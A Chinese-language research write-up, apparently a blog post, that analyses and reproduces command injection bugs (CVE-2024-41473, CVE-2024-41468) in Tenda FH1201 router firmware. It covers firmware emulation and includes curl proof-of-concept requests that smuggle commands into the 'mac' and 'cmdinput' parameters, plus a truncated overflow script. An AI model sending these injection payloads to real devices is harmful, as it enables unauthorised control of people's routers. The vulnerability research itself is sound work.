Tenda-FH1201多处命令注入漏洞分析和复现
Tenda-FH1201多处命令注入漏洞分析和复现
前言
腾达(Tenda)是中国的一家网络设备制造商,专注于生产各种网络相关设备,包括路由器、交换机、无线适配器和网络摄像头等。腾达的 FH 系列路由器是其家庭和小型办公网络解决方案中的一种,主要特点是性价比高,易于设置和使用。
环境搭建
固件下载
enda官网提供固件下载[1]:
1 | 固件版本: FH1201 Firmware V1.2.0.14 |
binwalk 解压固件:
1 | $ binwalk -Me US_FH1201V1.0BR_V1.2.0.14\(408\)_EN_TD.bin |
查看 bin/busybox 得知是 32位mips架构(小端):
1 | $ file squashfs-root/bin/busybox |
FirmAE模拟
参考的这位师傅是使用的qemu模拟,我实测FirmAE也可以,并且更加方便
先使用 QEMU用户级调试启动,看看会不会遇到问题。安装 qemu-user-static:
1 | $ sudo apt install qemu-user-static # debian,ubuntu |
安装完成后将 qemu-mipsel-static 赋值到文件系统目录 squashfs-root 下,启动 httpd 服务:
1 | $ cd squashfs-root/ |

发现一直卡在welcom to,于是去文件看一下为什么

发现主要是check_network这个函数的问题,会无限sleep,否则的话应该会是报错的,于是我们尝试把他patch一下,或者自己写个ld去劫持掉check_network也可以
汇编代码如下:

patch完成后汇编代码如下

patch完成后使用firmware-mod-kit打包该程序,./fmk是用该程序解包的结果

然后直接使用FirmAE对该固件进行模拟即可
1 | sudo ./run.sh -c tenda /path/firename |

进入之后启动/bin/httpd即可,当然默认是启动的,但是为了方便查看效果还是自己启动一个
CVE-2024-41473
漏洞位于 WriteFacMac 函数中:

websGetVar(a1, "mac", "00:01:02:11:22:33")代码从 HTTP 请求中获取名为 mac 的参数。如果参数不存在,则使用默认值 "00:01:02:11:22:33"。
doSystemCmd("cfm mac %s", Var)代码使用格式化字符串 cfm mac %s 和变量 Var 生成命令,然后调用 doSystemCmd 函数执行生成的命令。
doSystemCmd 函数看起来是一个执行系统命令的函数,并且通过格式化字符串将 Var 直接插入命令中。如果 Var 中包含恶意用户输入,可能会导致命令注入漏洞。例如,用户可以通过以下方式提交恶意 mac 参数
1 | mac=00:01:02:11:22:33; ifconfig / |
这种情况下生成的命令将会导致命令执行:
1 | cfm mac 00:01:02:11:22:33; ifconfig / |
漏洞复现
1 | curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "mac=;ls" "http://192.168.0.1:81/goform/WriteFacMac" |

CVE-2024-41468
漏洞位于 exeCommand 函数中:

src = (char *)websGetVar(a1, "cmdinput", &unk_4AFDC0)代码从HTTP请求中获取名为 cmdinput 的参数,存储在 src 中。如果参数不存在,使用默认值 &unk_4AFDC0。
strcpy(v7, src)代码将获取到的 cmdinput 参数值复制到缓冲区 v7 中。没有对输入进行验证或清理。
由于 doSystemCmd 函数直接使用 v7 中的值作为命令执行,且 v7 是从用户输入中获取的,这会导致命令注入漏洞。例如,用户可以通过以下方式提交恶意 cmdinput 参数
1 | cmdinput=ls; ifconfig |
这种情况下生成的命令将会导致命令执行:
1 | ls; ifconfig |
漏洞复现
1 | curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "cmdinput=ifconfig;" "http://192.168.0.1:81/goform/exeCommand" |

此外,大家注意char v7[512]; char v8[256]; char v9[4096]; char v10[4096]; 声明了一些固定大小的缓冲区。
strcpy(v7, src); 使用 strcpy 将用户输入复制到 v7,但 strcpy 不会检查目标缓冲区的大小。如果 src 超过 512 字节,导致导致缓冲区溢出,程序崩溃。
1 | import requests |



